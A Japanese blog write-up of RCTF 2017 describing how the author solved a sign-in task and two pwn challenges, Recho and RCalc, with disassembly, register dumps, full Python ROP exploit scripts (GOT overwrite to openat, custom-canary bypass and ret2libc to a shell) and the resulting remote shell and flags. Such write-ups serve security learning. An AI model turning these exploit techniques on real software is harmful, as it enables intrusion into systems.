h_nosonの日記

競プロ、CTFなど

RCTF 2017 Writeup

ogteckで参加していました。 後輩と参加してましたが結局解いたのは自分だけでした。
Misc1問、Pwn2問解いて752点、86位。

PwnのRecho、RCalc、RNoteは個人的に面白かったです(RNoteは解けてないが)。
解いたチーム数によって点数が変わるシステムもよかった。

Writeup

Sign In (Misc 32)

IRCのチャンネルに参加するとフラグがもらえる。

RCTF{Welcome_To_RCTF_2017}

Recho (Pwn 370)

ELF 64-bit、動的リンク、NX有効。

% file Recho
Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a6789229
8, not stripped
% checksec -f Recho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fo
rtified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      04
Recho

1行目で文字数、2行目で文字列を入力すると同じ文字列を返してくる。

% ./Recho
Welcome to Recho server!
12
AAAAAAAAAAAA
AAAAAAAAAAAA
11
AAAAAAAAAAA
AAAAAAAAAAA

何もチェックを行わず入力した値をreadに渡しているためスタックバッファオーバーフローを起こせる。

  4007c2:       e8 59 fe ff ff          call   400620 <atoi@plt>
  4007c7:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  4007ca:       83 7d fc 0f             cmp    DWORD PTR [rbp-0x4],0xf
  4007ce:       7f 07                   jg     4007d7 <main+0x46>
  4007d0:       c7 45 fc 10 00 00 00    mov    DWORD PTR [rbp-0x4],0x10
  4007d7:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4007da:       48 63 d0                movsxd rdx,eax
  4007dd:       48 8d 45 d0             lea    rax,[rbp-0x30]
  4007e1:       48 89 c6                mov    rsi,rax
  4007e4:       bf 00 00 00 00          mov    edi,0x0
  4007e9:       e8 12 fe ff ff          call   400600 <read@plt>

ROPを組んでシェルを起動すればいいわけだが、readの返り値が0の時にretが呼ばれるため、接続を切らなくてはいけない。正確には送信方向の接続を切る必要がある(コマンドラインではctrl-D、pythonではsock.shutdown(SHUT_WR))。そのため、ROPの途中でlibc_baseをleakして適応的にROPを再構成する、などということはできない。また、シェルを起動してもコマンドを送れないため、シェルを起動せずに直接フラグを得る必要がある。
フラグのファイル名を指定する必要があるが、retにたどり着いた時点のレジスタの値を見てみるとrsiに文字列へのポインタが格納されているのでここにファイル名を指定してopenのような関数に渡せればよさそう。

RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04680 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x10
RSI: 0x7fffffffe9a0 --> 0xa3231 ('12\n')
RDI: 0x0
RBP: 0x400840 (<__libc_csu_init>:       push   r15)
RSP: 0x7fffffffe9e8 --> 0x7ffff7a2e830 (<__libc_start_main+240>:        mov    edi,eax)
RIP: 0x400834 (<main+163>:      ret)

第二引数にファイル名を指定する関数をexec系、open系を中心に探してみるとopenatという関数が見つかった。

% man openat
NAME
       open, openat, creat - open and possibly create a file

SYNOPSIS
       int openat(int dirfd, const char *pathname, int flags);
       int openat(int dirfd, const char *pathname, int flags, mode_t mode);

第一引数にディレクトリファイルディスクリプタを指定する以外はopenと同じ。pathnameにはdirfdからの相対パスまたは絶対パスを指定する。また、dirfdにAT_FDCWD (= -100)を指定するとpathnameがカレントディレクトリからの相対パスとして扱われる(つまりopenと同じように使える)。これを使ってopenat->read->writeでフラグを得られる。
add byte [rdi], al; retのgadgetがあったのでこれを使ってwriteのGOTをopenatに変えることでopenatを呼び出した。

from ppapwn import *
import sys

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./Recho"])
    else:
        s = Remote("recho.2017.teamrois.cn",9527)

    read_plt = 0x400600
    write_plt = 0x4005d0
    write_got = 0x601018
    write_offset = 0xf66d0
    openat_offset = 0xf6510
    add_rdi_al = 0x40070d
    pop_rdi = 0x4008a3
    pop_rax = 0x4006fc
    pop_rdx = 0x4006fe
    pop_rsi_r15 = 0x4008a1
    bss_addr = 0x601060

    payload = ""
    payload += "A" * 0x38

    # write -> openat
    payload += p64(pop_rdi) + p64(write_got)
    payload += p64(pop_rax) + p64(0x40)
    payload += p64(add_rdi_al)
    payload += p64(pop_rdi) + p64(write_got+1)
    payload += p64(pop_rax) + p64(0xff)
    payload += p64(add_rdi_al)

    # openat
    payload += p64(pop_rdi) + p64(0xffffff9c)
    payload += p64(pop_rdx) + p64(0)
    payload += p64(write_plt)

    # openat -> write
    payload += p64(pop_rdi) + p64(write_got)
    payload += p64(pop_rax) + p64(0xc0)
    payload += p64(add_rdi_al)
    payload += p64(pop_rdi) + p64(write_got+1)
    payload += p64(pop_rax) + p64(1)

    # read
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rsi_r15) + p64(bss_addr) + "A" * 8
    payload += p64(pop_rdx) + p64(0x100)
    payload += p64(read_plt)

    # write
    payload += p64(pop_rdi) + p64(1)
    payload += p64(write_plt)

    s.send(str(len(payload)))
    s.send(payload)
    s.send("flag")
    s.close()
    s.recvuntil("AX")
    print s.recvline()
% python exploit.py remote
RCTF{l0st_1n_th3_3ch0_d6794b}

今までは接続を切るときはsocket全体を閉じていたが、初めに送信方向の接続だけを切る方がpwnに限らずいいかもしれない。

追記:0x601058に"flag"という文字列があるのでそれを使えばopenでできるらしい。

RCalc (Pwn 350)

ELF 64-bit、動的リンク、NX有効。

% file RCalc
RCalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4fc0eac70bfe647c94e2819a07c84d69d64988
8, stripped
% checksec -f RCalc
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fo
rtified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      04
RCalc

四則演算を行うプログラムで計算結果を保存する機能がある。

% ./RCalc
Input your name pls: h_noson
Hello h_noson!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:1
input 2 integer: 10
30
The result is 40
Save the result? yes
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:5

名前の入力はscanf(“%s”)で行っているためスタックバッファオーバーフローする。しかし、オレオレcanaryがあるためオーバーフローは検知されてしまう(最後にNo!!!と出ているのがそれ)。

ubuntu-xenial% python -c 'print "A"*0x200; print 5' | ./RCalc
Input your name pls: Hello AAAA...A!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:No!!!

canaryの機構はpush_canaryとpop_canaryで構成されており、canaryはheapに保存されている。関数呼び出しの度にpush_canaryを行い、関数から出る直前でpop_canaryで取り出した値とスタックの値が等しいかチェックしている。
また、上で触れた計算結果を保存する機能もheapを使っており、計算結果をpushしていくように保存する。そのため計算結果の保存を繰り返し行うとcanaryのアドレスに値を入れることが可能になり、canaryの値をいじることができる。これによってオーバーフロー検知を回避できる。これでripを奪えたのでROPを組んでシェルを起動させる。GOTのアドレスが0x6020xxになっていてscanf(“%s”)では0x20が区切り文字として判定されてしまうためうまくいかず、一度"%ulld"を入力してscanf(“%ulld”)でROPをbss上で再構築してからleaveでrspbssに移した(pop rdxのgadgetがなかったためreadは使えなかった)。あとはいつものようにlibc_baseをleakしてsystemを呼び出す。

from ppapwn import *
import sys
import time

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./RCalc"])
    else:
        s = Remote("rcalc.2017.teamrois.cn",2333)

    puts_plt = 0x400820
    puts_got = 0x602020
    puts_offset = 0x6f690
    system_offset = 0x45390
    scanf_plt = 0x4008e0
    pop_rdi = 0x401123
    pop_rsi_r15 = 0x401121
    leave = 0x401034
    bss_addr = 0x6029c0
    ps_str = 0x401203

    payload = ""
    payload += "A" * 0x108
    payload += p64(0)
    payload += p64(bss_addr-8)
    payload += p64(pop_rdi) + p64(ps_str)
    payload += p64(pop_rsi_r15) + p64(bss_addr+0x110) + "A" * 8
    payload += p64(scanf_plt)
    for i in range(-8,8*11,8):
        payload += p64(pop_rdi) + p64(bss_addr+0x110)
        payload += p64(pop_rsi_r15) + p64(bss_addr+i) + "A" * 8
        payload += p64(scanf_plt)
    payload += p64(pop_rdi) + p64(ps_str)
    payload += p64(pop_rsi_r15) + p64(bss_addr+0x100) + "A" * 8
    payload += p64(scanf_plt)
    payload += p64(leave)
    s.sendline(payload)

    for i in range((0x603160-0x603050) // 8):
        s.sendline("1")
        s.sendline("1")
        s.sendline("0")
        s.send("yes")
        time.sleep(0.1)
    s.sendline("1")
    s.sendline("0")
    s.sendline("0")
    s.send("yes")
    s.recvuntil("The result is 0")
    s.recvuntil("Your choice:")
    s.sendline("5")

    s.sendline("%ulld")
    s.sendline("0")
    s.sendline(str(pop_rdi))
    s.sendline(str(puts_got))
    s.sendline(str(puts_plt))
    s.sendline(str(pop_rdi))
    s.sendline(str(ps_str))
    s.sendline(str(pop_rsi_r15))
    s.sendline(str(bss_addr+8*11))
    s.sendline("0")
    s.sendline(str(scanf_plt))
    s.sendline(str(pop_rdi))
    s.sendline(str(bss_addr+0x100))
    s.sendline("/bin/sh")

    libc_base = u64(s.recvline()) - puts_offset
    print "[*] libc base is at", hex(libc_base)
    s.sendline(p64(libc_base+system_offset))
    s.interact()
% python exploit.py remote
[*] libc base is at 0x7f52bd02c000
[*] Switching to interactive mode

$ ls
RCalc
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{Y0u_kn0w_th3_m4th_9e78cc}

感想

やっぱり一人は厳しい